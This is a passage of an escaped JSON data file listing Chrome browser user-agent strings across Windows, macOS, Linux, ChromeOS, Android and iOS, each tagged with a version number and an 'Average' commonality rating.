Chrome\\/50.0.2625.0 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"27\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko; Google Page Speed Insights) Chrome\\/27.0.1453 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"57\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/57.0.2987.98 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"28\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 4.4.2; en-us; SAMSUNG SPH-L720T Build\\/KOT49H) AppleWebKit\\/537.36 (KHTML, like Gecko) Version\\/1.5 Chrome\\/28.0.1500.94 Mobile Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"59\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/59.0.3071.104 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"47\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/47.0.2526.106 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"50\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/50.0.2661.94 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"18\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 4.1.2; SGH-T599N Build\\/JZO54K) AppleWebKit\\/535.19 (KHTML, like Gecko) Chrome\\/18.0.1025.166 Mobile Safari\\/535.19\"},{\"commonality\":\"Average\",\"version\":\"62\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/62.0.3202.89 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"65\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/65.0.3325.162 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"37\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML like Gecko) Chrome\\/37.0.2062.103 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"55\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/55.0.2883.75 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"45\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/45.0.2454.99 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"50\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/50.0.2661.102 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"39\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/39.0.2171.99 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"63\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/63.0.3239.108 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"26\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; WOW64) AppleWebKit\\/537.31 (KHTML, like Gecko) Chrome\\/26.0.1410.43 Safari\\/537.31\"},{\"commonality\":\"Average\",\"version\":\"45\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/45.0.2454.101 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"30\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.4.2; en-us; LGMS323 Build\\/KOT49I.MS32310c) AppleWebKit\\/537.36 (KHTML, like Gecko) Version\\/4.0 Chrome\\/30.0.1599.103 Mobile Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"62\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/62.0.3202.75 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"31\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1) AppleWebKit\\/537.36 (KHTML like Gecko) Chrome\\/31.0.1650.63 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"48\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/48.0.2564.116 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"54\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/54.0.2840.59 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"47\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/47.0.2526.111 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"62\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/62.0.3202.94 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"36\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML like Gecko) Chrome\\/36.0.1985.143 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"55\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/55.0.2883.91 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"53\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12_0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/53.0.2785.116 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"48\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/48.0.2564.97 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"48\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/48.0.2564.109 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"46\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/46.0.2490.86 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"58\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/58.0.3029.110 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"55\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 7.0; LGMS210 Build\\/NRD90U) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/55.0.2883.91 Mobile Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"18\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 4.0.3; HTC One X Build\\/IML74K) AppleWebKit\\/535.19 (KHTML, like Gecko) Chrome\\/18.0.1025.133 Mobile Safari\\/535.19\"},{\"commonality\":\"Average\",\"version\":\"28\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 4.4.2; en-gb; SAMSUNG GT-I9505 Build\\/KOT49H) AppleWebKit\\/537.36 (KHTML, like Gecko) Version\\/1.5 Chrome\\/28.0.1500.94 Mobile Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"65\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/65.0.3325.162 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"27\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML like Gecko) Chrome\\/27.0.1453.110 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"36\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64) AppleWebKit\\/537.36 (KHTML like Gecko) Chrome\\/36.0.1985.143 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"28\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 4.4.2; GT-I9505 Build\\/JDQ39) AppleWebKit\\/537.36 (KHTML, like Gecko) Version\\/1.5 Chrome\\/28.0.1500.94 Mobile Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"36\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/36.0.1944.0 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"61\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/61.0.3163.91 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"51\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/51.0.2704.63 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"49\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/49.0.2623.87 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"19\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/536.5 (KHTML, like Gecko) Chrome\\/19.0.1084.52 Safari\\/536.5\"},{\"commonality\":\"Average\",\"version\":\"44\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/44.0.2403.89 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"20\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1) AppleWebKit\\/536.11 (KHTML, like Gecko) Chrome\\/20.0.1132.47 Safari\\/536.11\"},{\"commonality\":\"Average\",\"version\":\"61\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_13_1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/61.0.3163.100 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"51\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/51.0.2704.103 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"47\",\"ua\":\"Mozilla\\/5.0 (X11; CrOS x86_64 7520.63.0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/47.0.2526.106 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"47\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/47.0.2526.73 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"35\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML like Gecko) Chrome\\/35.0.1916.153 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"45\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/45.0.2454.101 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"28\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 4.4.2; en-us; SAMSUNG-SGH-I337 Build\\/KOT49H) AppleWebKit\\/537.36 (KHTML, like Gecko) Version\\/1.5 Chrome\\/28.0.1500.94 Mobile Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"53\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/53.0.2785.101 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"46\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/46.0.2490.86 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"24\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.0) AppleWebKit\\/537.17 (KHTML, like Gecko) Chrome\\/24.0.1312.57 Safari\\/537.17\"},{\"commonality\":\"Average\",\"version\":\"35\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/35.0.1916.153 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"60\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 10_3_3 like Mac OS X) AppleWebKit\\/603.1.30 (KHTML, like Gecko) CriOS\\/60.0.3112.89 Mobile\\/14G60 Safari\\/602.1\"},{\"commonality\":\"Average\",\"version\":\"26\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit\\/537.31 (KHTML, like Gecko) Chrome\\/26.0.1410.43 Safari\\/537.31\"},{\"commonality\":\"Average\",\"version\":\"65\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/65.0.3325.181 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"54\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12_0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/54.0.2840.98 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"50\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/50.0.2661.94 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"42\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 4.0.4; BNTV400 Build\\/IMM76L) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/42.0.2311.111 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"64\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/64.0.3282.167 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"63\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/63.0.3239.108 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"48\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/48.0.2564.116 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"63\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 9_3_5 like Mac OS X) AppleWebKit\\/601.1 (KHTML, like Gecko) CriOS\\/63.0.3239.73 Mobile\\/13G36 Safari\\/601.1.46\"},{\"commonality\":\"Average\",\"version\":\"60\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/60.0.3112.101 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"56\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/56.0.2924.87 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"37\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 5.0.2; NX512J Build\\/LRX22G) AppleWebKit\\/537.36 (KHTML, like Gecko) Version\\/4.0 Chrome\\/37.0.0.0 Mobile Safari\\/537.36 Browser\"},{\"commonality\":\"Average\",\"version\":\"56\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12_4) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/56.0.2924.87 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"63\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 6.0.1; SM-J510FN Build\\/MMB29M) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/63.0.3204.0 Mobile Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"50\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/50.0.2661.75 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"48\",\"ua\":\"Mozilla\\/5.0 (X11; CrOS x86_64 7647.73.0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/48.0.2564.92 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"60\",\"ua\":\"Mozilla\\/5.0 (X11; CrOS armv7l 9592.96.0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/60.0.3112.114 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"60\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/60.0.3112.78 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"38\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/38.0.2125.102 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"62\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/62.0.3202.75 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"51\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/51.0.2704.84 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"21\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.1 (KHTML, like Gecko) Chrome\\/21.0.1180.60 Safari\\/537.1\"},{\"commonality\":\"Average\",\"version\":\"40\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 5.1.1; Nexus 4 Build\\/LMY48T) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/40.0.2214.89 Mobile Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"46\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/46.0.2480.0 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"63\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 11_2_2 like Mac OS X) AppleWebKit\\/604.1.34 (KHTML, like Gecko) CriOS\\/63.0.3239.73 Mobile\\/15C202 Safari\\/604.1\"},{\"commonality\":\"Average\",\"version\":\"48\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/48.0.2564.97 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"57\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/57.0.2987.110 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"26\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 4.0.4; BNTV400 Build\\/IMM76L) AppleWebKit\\/537.31 (KHTML, like Gecko) Chrome\\/26.0.1410.58 Safari\\/537.31\"},{\"commonality\":\"Average\",\"version\":\"55\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/55.0.2883.87 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"56\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/56.0.2924.76 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"42\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/42.0.2311.90 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"44\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_8_5) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/44.0.2403.157 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"52\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/52.0.2743.75 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"48\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_3) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/48.0.2564.97 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"26\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 4.0.4; BNTV600 Build\\/IMM76L) AppleWebKit\\/537.31 (KHTML, like Gecko) Chrome\\/26.0.1410.58 Safari\\/537.31\"},{\"commonality\":\"Average\",\"version\":\"64\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/64.0.3282.186 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"44\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/44.0.2403.89 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"64\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_13_1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/64.0.3282.167 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"46\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/46.0.2490.80 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"65\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/65.0.3325.181 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"44\",\"ua\":\"Mozilla\\/5.0 (iPod; CPU iPhone OS 8_4 like Mac OS X) AppleWebKit\\/600.1.4 (KHTML, like Gecko) CriOS\\/44.0.2403.67 Mobile\\/12H143 Safari\\/600.1.4\"},{\"commonality\":\"Average\",\"version\":\"65\",\"ua\":\"Mozilla\\/5.0 (X11; CrOS x86_64 10323.62.0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/65.0.3325.184 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"49\",\"ua\":\"Mozilla\\/5.0 (X11; CrOS x86_64 7834.60.0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/49.0.2623.95 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"51\",\"ua\":\"Mozilla\\/5.0 (X11; CrOS x86_64 8172.56.0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/51.0.2704.103 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"49\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/49.0.2623.75 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"33\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML like Gecko) Chrome\\/33.0.1750.154 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"62\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 7.0; LGMS210 Build\\/NRD90U) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/62.0.3202.84 Mobile Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"63\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/63.0.3239.84 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"28\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 4.4.2; en-gb; SAMSUNG GT-I9195 Build\\/KOT49H) AppleWebKit\\/537.36 (KHTML, like Gecko) Version\\/1.5 Chrome\\/28.0.1500.94 Mobile Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"44\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/44.0.2403.157 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"60\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/60.0.3112.113 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"64\",\"ua\":\"Mozilla\\/5.0 (X11; CrOS x86_64 10176.72.0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/64.0.3282.167 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"61\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/61.0.3163.91 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"47\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/47.0.2526.106 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"47\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/47.0.2526.73 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"42\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/42.0.2311.152 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"30\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 4.4.2; SAMSUNG-SM-N900A Build\\/KOT49H) AppleWebKit\\/537.36 (KHTML, like Gecko) Version\\/4.0 Chrome\\/30.0.0.0 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"50\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/50.0.2661.86 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"39\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/39.0.2171.99 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"44\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/44.0.2403.130 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"46\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 5.1.1; A571VL Build\\/LMY47V; wv) AppleWebKit\\/537.36 (KHTML, like Gecko) Version\\/4.0 Chrome\\/46.0.2490.76 Mobile Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"64\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/64.0.3282.119 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"61\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/61.0.3163.91 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"59\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/59.0.3071.115 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"47\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/47.0.2526.73 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"60\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/60.0.3112.113 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"53\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/53.0.2785.70 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"58\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/58.0.3029.81 